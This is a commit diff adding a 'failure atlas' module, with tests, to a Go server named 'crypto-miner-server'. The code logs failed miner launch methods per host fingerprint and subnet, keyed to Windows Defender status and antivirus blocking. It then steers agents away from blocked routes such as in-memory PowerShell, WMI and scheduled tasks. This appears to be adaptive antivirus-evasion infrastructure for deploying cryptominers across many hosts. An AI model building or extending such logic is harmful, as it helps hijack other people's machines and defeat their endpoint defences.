Add phenotype cloning, failure atlas, AI court session, and clearance L0-L4
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
97
server/internal/atlas/conditions.go
Normal file
97
server/internal/atlas/conditions.go
Normal file
@@ -0,0 +1,97 @@
|
||||
package atlas
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
// ProbeSnapshot mirrors live environment probes used for atlas matching.
|
||||
type ProbeSnapshot struct {
|
||||
Docker bool
|
||||
WSL bool
|
||||
PowerShell bool
|
||||
DotNet bool
|
||||
GPU bool
|
||||
AVBlocksExe bool
|
||||
DefenderOn bool
|
||||
DefenderRTP bool
|
||||
}
|
||||
|
||||
// ExtractConditions returns active negative-space condition tags for a host snapshot.
|
||||
func ExtractConditions(fp strategy.HostFingerprint, probes ProbeSnapshot) []string {
|
||||
var out []string
|
||||
switch strings.ToLower(fp.GOOS) {
|
||||
case "windows":
|
||||
out = append(out, ConditionGOOSWindows)
|
||||
case "linux":
|
||||
out = append(out, ConditionGOOSLinux)
|
||||
case "darwin":
|
||||
out = append(out, ConditionGOOSDarwin)
|
||||
}
|
||||
if probes.DefenderOn || probes.DefenderRTP || fp.AVBlocks {
|
||||
out = append(out, ConditionDefenderOn)
|
||||
}
|
||||
if probes.AVBlocksExe || fp.AVBlocks {
|
||||
out = append(out, ConditionAVBlocksExe)
|
||||
}
|
||||
if !probes.Docker && !fp.Docker {
|
||||
out = append(out, ConditionNoDocker)
|
||||
}
|
||||
if !probes.WSL && !fp.WSL {
|
||||
out = append(out, ConditionNoWSL)
|
||||
}
|
||||
if !probes.PowerShell {
|
||||
out = append(out, ConditionNoPowerShell)
|
||||
}
|
||||
if !probes.DotNet {
|
||||
out = append(out, ConditionNoDotNet)
|
||||
}
|
||||
if !probes.GPU && !fp.GPU {
|
||||
out = append(out, ConditionNoGPU)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ProbeSnapshotFromMaps builds a probe snapshot from stats / auth telemetry.
|
||||
func ProbeSnapshotFromMaps(
|
||||
fp strategy.HostFingerprint,
|
||||
probes map[string]bool,
|
||||
defenderEnabled, defenderRTP *bool,
|
||||
) ProbeSnapshot {
|
||||
snap := ProbeSnapshot{
|
||||
Docker: fp.Docker,
|
||||
WSL: fp.WSL,
|
||||
GPU: fp.GPU,
|
||||
AVBlocksExe: fp.AVBlocks,
|
||||
}
|
||||
if probes != nil {
|
||||
if v, ok := probes["docker"]; ok {
|
||||
snap.Docker = v
|
||||
}
|
||||
if v, ok := probes["wsl"]; ok {
|
||||
snap.WSL = v
|
||||
}
|
||||
if v, ok := probes["gpu"]; ok {
|
||||
snap.GPU = v
|
||||
}
|
||||
if v, ok := probes["av_blocks_exe"]; ok {
|
||||
snap.AVBlocksExe = v
|
||||
}
|
||||
if v, ok := probes["pwsh"]; ok {
|
||||
snap.PowerShell = v
|
||||
}
|
||||
if v, ok := probes["dotnet"]; ok {
|
||||
snap.DotNet = v
|
||||
}
|
||||
}
|
||||
if defenderRTP != nil && *defenderRTP {
|
||||
snap.DefenderRTP = true
|
||||
snap.DefenderOn = true
|
||||
snap.AVBlocksExe = true
|
||||
}
|
||||
if defenderEnabled != nil && *defenderEnabled {
|
||||
snap.DefenderOn = true
|
||||
}
|
||||
return snap
|
||||
}
|
||||
211
server/internal/atlas/failure_atlas.go
Normal file
211
server/internal/atlas/failure_atlas.go
Normal file
@@ -0,0 +1,211 @@
|
||||
package atlas
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
// FailureAtlas records conditioned tier failures and derives hard subtree skips.
|
||||
type FailureAtlas struct {
|
||||
db *db.Database
|
||||
}
|
||||
|
||||
func NewFailureAtlas(database *db.Database) *FailureAtlas {
|
||||
return &FailureAtlas{db: database}
|
||||
}
|
||||
|
||||
// RecordFailure increments failure counters for each active condition on a failed tier attempt.
|
||||
func (a *FailureAtlas) RecordFailure(fingerprintBucket, tier string, conditions []string) error {
|
||||
if a == nil || a.db == nil || strings.TrimSpace(fingerprintBucket) == "" || strings.TrimSpace(tier) == "" {
|
||||
return nil
|
||||
}
|
||||
tier = normalizeTier(tier)
|
||||
for _, cond := range conditions {
|
||||
cond = strings.TrimSpace(cond)
|
||||
if cond == "" {
|
||||
continue
|
||||
}
|
||||
if err := a.db.UpsertFailureAtlasPattern(fingerprintBucket, cond, tier); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ShouldSkipSubtree reports whether atlas rules block attempting tier on this fingerprint.
|
||||
func (a *FailureAtlas) ShouldSkipSubtree(fingerprintBucket, tier string, probes ProbeSnapshot, fp strategy.HostFingerprint) bool {
|
||||
if a == nil || a.db == nil {
|
||||
return false
|
||||
}
|
||||
rules, err := a.matchingRules(fingerprintBucket, fp.GOOS, ExtractConditions(fp, probes))
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
target := normalizeTier(tier)
|
||||
for _, rule := range rules {
|
||||
for _, branch := range rule.Subtree {
|
||||
if normalizeTier(branch) == target {
|
||||
return true
|
||||
}
|
||||
}
|
||||
if tierInSubtree(target, rule.Tier) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// GetAtlasRules returns active atlas rules for a fingerprint bucket (UI / AI).
|
||||
func (a *FailureAtlas) GetAtlasRules(fingerprintBucket, goos string) ([]AtlasRule, error) {
|
||||
if a == nil || a.db == nil {
|
||||
return nil, nil
|
||||
}
|
||||
patterns, err := a.db.ListFailureAtlasPatterns(fingerprintBucket, goos)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return rulesFromPatterns(patterns), nil
|
||||
}
|
||||
|
||||
// ComputeSkips returns hard skip entries for the current host snapshot.
|
||||
func (a *FailureAtlas) ComputeSkips(
|
||||
fp strategy.HostFingerprint,
|
||||
probes map[string]bool,
|
||||
defenderEnabled, defenderRTP *bool,
|
||||
) ([]AtlasSkip, error) {
|
||||
if a == nil || a.db == nil {
|
||||
return nil, nil
|
||||
}
|
||||
snap := ProbeSnapshotFromMaps(fp, probes, defenderEnabled, defenderRTP)
|
||||
rules, err := a.matchingRules(fp.Key(), fp.GOOS, ExtractConditions(fp, snap))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
seen := make(map[string]bool)
|
||||
var skips []AtlasSkip
|
||||
for _, rule := range rules {
|
||||
for _, branch := range rule.Subtree {
|
||||
key := normalizeTier(branch) + "|" + rule.Condition
|
||||
if seen[key] {
|
||||
continue
|
||||
}
|
||||
seen[key] = true
|
||||
skips = append(skips, AtlasSkip{
|
||||
Tier: branch,
|
||||
Condition: rule.Condition,
|
||||
Reason: rule.Reason,
|
||||
})
|
||||
}
|
||||
}
|
||||
return skips, nil
|
||||
}
|
||||
|
||||
// MergeSkipsIntoStrategy adds atlas hard skips into an adaptive strategy plan.
|
||||
func MergeSkipsIntoStrategy(strat *strategy.AdaptiveStrategy, skips []AtlasSkip) {
|
||||
if strat == nil || len(skips) == 0 {
|
||||
return
|
||||
}
|
||||
have := make(map[string]bool, len(strat.SkipTiers))
|
||||
for _, t := range strat.SkipTiers {
|
||||
have[normalizeTier(t)] = true
|
||||
}
|
||||
for _, skip := range skips {
|
||||
tier := normalizeTier(skip.Tier)
|
||||
if tier == "" || have[tier] {
|
||||
continue
|
||||
}
|
||||
have[tier] = true
|
||||
strat.SkipTiers = append(strat.SkipTiers, tier)
|
||||
label := strings.ReplaceAll(tier, "_", " ")
|
||||
strat.Reasoning = append(strat.Reasoning, strategy.StrategyReason{
|
||||
Fact: "Failure atlas: " + label + " blocked under " + conditionLabel(skip.Condition),
|
||||
Inference: skip.Reason,
|
||||
Action: "Hard skip " + label + " subtree",
|
||||
})
|
||||
}
|
||||
order := make([]string, 0, len(strat.TierOrder))
|
||||
for _, t := range strat.TierOrder {
|
||||
if !have[normalizeTier(t)] {
|
||||
order = append(order, t)
|
||||
}
|
||||
}
|
||||
strat.TierOrder = order
|
||||
}
|
||||
|
||||
func (a *FailureAtlas) matchingRules(fingerprintBucket, goos string, activeConditions []string) ([]AtlasRule, error) {
|
||||
patterns, err := a.db.ListFailureAtlasPatterns(fingerprintBucket, goos)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
active := make(map[string]bool, len(activeConditions))
|
||||
for _, c := range activeConditions {
|
||||
active[c] = true
|
||||
}
|
||||
var out []AtlasRule
|
||||
for _, p := range patterns {
|
||||
if p.FailCount < MinFailCountForSubtree {
|
||||
continue
|
||||
}
|
||||
if len(active) > 0 && !active[p.Condition] {
|
||||
continue
|
||||
}
|
||||
rule := AtlasRule{
|
||||
Tier: p.Tier,
|
||||
Condition: p.Condition,
|
||||
FailCount: p.FailCount,
|
||||
FingerprintBucket: p.FingerprintBucket,
|
||||
Subtree: subtreeTiers(p.Tier),
|
||||
Reason: fmt.Sprintf("%d failures with %s", p.FailCount, conditionLabel(p.Condition)),
|
||||
}
|
||||
out = append(out, rule)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func rulesFromPatterns(patterns []db.FailureAtlasPattern) []AtlasRule {
|
||||
out := make([]AtlasRule, 0, len(patterns))
|
||||
for _, p := range patterns {
|
||||
if p.FailCount < MinFailCountForSubtree {
|
||||
continue
|
||||
}
|
||||
out = append(out, AtlasRule{
|
||||
Tier: p.Tier,
|
||||
Condition: p.Condition,
|
||||
FailCount: p.FailCount,
|
||||
FingerprintBucket: p.FingerprintBucket,
|
||||
Subtree: subtreeTiers(p.Tier),
|
||||
Reason: fmt.Sprintf("%d failures with %s", p.FailCount, conditionLabel(p.Condition)),
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func conditionLabel(cond string) string {
|
||||
switch cond {
|
||||
case ConditionDefenderOn:
|
||||
return "Defender on"
|
||||
case ConditionNoDocker:
|
||||
return "no Docker"
|
||||
case ConditionAVBlocksExe:
|
||||
return "AV blocks exe"
|
||||
case ConditionGOOSWindows:
|
||||
return "Windows"
|
||||
case ConditionGOOSLinux:
|
||||
return "Linux"
|
||||
case ConditionGOOSDarwin:
|
||||
return "macOS"
|
||||
case ConditionNoWSL:
|
||||
return "no WSL"
|
||||
case ConditionNoPowerShell:
|
||||
return "no PowerShell"
|
||||
case ConditionNoDotNet:
|
||||
return "no dotnet"
|
||||
case ConditionNoGPU:
|
||||
return "no GPU"
|
||||
default:
|
||||
return strings.ReplaceAll(cond, "_", " ")
|
||||
}
|
||||
}
|
||||
69
server/internal/atlas/failure_atlas_test.go
Normal file
69
server/internal/atlas/failure_atlas_test.go
Normal file
@@ -0,0 +1,69 @@
|
||||
package atlas
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
func TestRecordFiveDefenderPowerShellFailuresSkipSubtree(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
fp := strategy.HostFingerprint{GOOS: "windows", AVBlocks: true, Subnet: "192.168.1"}
|
||||
key := fp.Key()
|
||||
atlas := NewFailureAtlas(database)
|
||||
|
||||
for i := 0; i < 5; i++ {
|
||||
if err := atlas.RecordFailure(key, "ps_inmemory", []string{ConditionDefenderOn}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
probes := ProbeSnapshot{DefenderOn: true, PowerShell: true, Docker: true, WSL: true, DotNet: true}
|
||||
if !atlas.ShouldSkipSubtree(key, "ps_inmemory", probes, fp) {
|
||||
t.Fatal("expected ps_inmemory subtree skip after 5 defender failures")
|
||||
}
|
||||
|
||||
rules, err := atlas.GetAtlasRules(key, fp.GOOS)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(rules) == 0 || rules[0].FailCount < MinFailCountForSubtree {
|
||||
t.Fatalf("expected active atlas rule, got %+v", rules)
|
||||
}
|
||||
|
||||
skips, err := atlas.ComputeSkips(fp, nil, nil, boolPtr(true))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(skips) == 0 || skips[0].Tier != "ps_inmemory" {
|
||||
t.Fatalf("expected ps_inmemory atlas skip, got %+v", skips)
|
||||
}
|
||||
}
|
||||
|
||||
func TestShouldSkipSubtreeRequiresActiveCondition(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
fp := strategy.HostFingerprint{GOOS: "windows", Subnet: "10.0.0"}
|
||||
key := fp.Key()
|
||||
atlas := NewFailureAtlas(database)
|
||||
for i := 0; i < 5; i++ {
|
||||
_ = atlas.RecordFailure(key, "ps_inmemory", []string{ConditionDefenderOn})
|
||||
}
|
||||
|
||||
probes := ProbeSnapshot{DefenderOn: false, PowerShell: true}
|
||||
if atlas.ShouldSkipSubtree(key, "ps_inmemory", probes, fp) {
|
||||
t.Fatal("should not skip when defender condition is inactive")
|
||||
}
|
||||
}
|
||||
|
||||
func boolPtr(v bool) *bool { return &v }
|
||||
45
server/internal/atlas/subtree.go
Normal file
45
server/internal/atlas/subtree.go
Normal file
@@ -0,0 +1,45 @@
|
||||
package atlas
|
||||
|
||||
import "strings"
|
||||
|
||||
// subtreeForTier maps a failed parent tier to mining tiers that should be hard-skipped.
|
||||
var subtreeForTier = map[string][]string{
|
||||
"ps_inmemory": {"ps_inmemory"},
|
||||
"powershell": {"ps_inmemory"},
|
||||
"dotnet": {"dotnet"},
|
||||
"exe_subprocess": {"exe_subprocess"},
|
||||
"wsl": {"wsl"},
|
||||
"container": {"container", "docker_load"},
|
||||
"docker_load": {"docker_load", "container"},
|
||||
"docker": {"container", "docker_load"},
|
||||
"gpu_subprocess": {"gpu_subprocess", "gpu_compute"},
|
||||
"gpu_compute": {"gpu_compute", "gpu_subprocess"},
|
||||
"stratum_direct": {"stratum_direct"},
|
||||
"wmi": {"wmi"},
|
||||
"scheduled_task": {"scheduled_task"},
|
||||
}
|
||||
|
||||
func normalizeTier(tier string) string {
|
||||
return strings.ToLower(strings.TrimSpace(tier))
|
||||
}
|
||||
|
||||
func subtreeTiers(tier string) []string {
|
||||
key := normalizeTier(tier)
|
||||
if branch, ok := subtreeForTier[key]; ok {
|
||||
return append([]string(nil), branch...)
|
||||
}
|
||||
if key != "" {
|
||||
return []string{key}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func tierInSubtree(target, parent string) bool {
|
||||
target = normalizeTier(target)
|
||||
for _, t := range subtreeTiers(parent) {
|
||||
if normalizeTier(t) == target {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
43
server/internal/atlas/types.go
Normal file
43
server/internal/atlas/types.go
Normal file
@@ -0,0 +1,43 @@
|
||||
package atlas
|
||||
|
||||
// MinFailCountForSubtree is how many conditioned failures before a subtree is hard-skipped.
|
||||
const MinFailCountForSubtree = 5
|
||||
|
||||
// Well-known probe / posture conditions recorded with each failure pattern.
|
||||
const (
|
||||
ConditionDefenderOn = "defender_on"
|
||||
ConditionNoDocker = "no_docker"
|
||||
ConditionAVBlocksExe = "av_blocks_exe"
|
||||
ConditionGOOSWindows = "goos=windows"
|
||||
ConditionGOOSLinux = "goos=linux"
|
||||
ConditionGOOSDarwin = "goos=darwin"
|
||||
ConditionNoWSL = "no_wsl"
|
||||
ConditionNoPowerShell = "no_pwsh"
|
||||
ConditionNoDotNet = "no_dotnet"
|
||||
ConditionNoGPU = "no_gpu"
|
||||
)
|
||||
|
||||
// FailurePattern is one aggregated negative-space bucket in SQLite.
|
||||
type FailurePattern struct {
|
||||
FingerprintBucket string `json:"fingerprint_bucket"`
|
||||
Condition string `json:"condition"`
|
||||
Tier string `json:"tier"`
|
||||
FailCount int `json:"fail_count"`
|
||||
}
|
||||
|
||||
// AtlasRule is a learned skip rule exposed to UI / AI.
|
||||
type AtlasRule struct {
|
||||
Tier string `json:"tier"`
|
||||
Condition string `json:"condition"`
|
||||
FailCount int `json:"fail_count"`
|
||||
Reason string `json:"reason"`
|
||||
Subtree []string `json:"subtree,omitempty"`
|
||||
FingerprintBucket string `json:"fingerprint_bucket,omitempty"`
|
||||
}
|
||||
|
||||
// AtlasSkip is one hard skip pushed to agents and diagnostics.
|
||||
type AtlasSkip struct {
|
||||
Tier string `json:"tier"`
|
||||
Condition string `json:"condition"`
|
||||
Reason string `json:"reason"`
|
||||
}
|
||||
Reference in New Issue
Block a user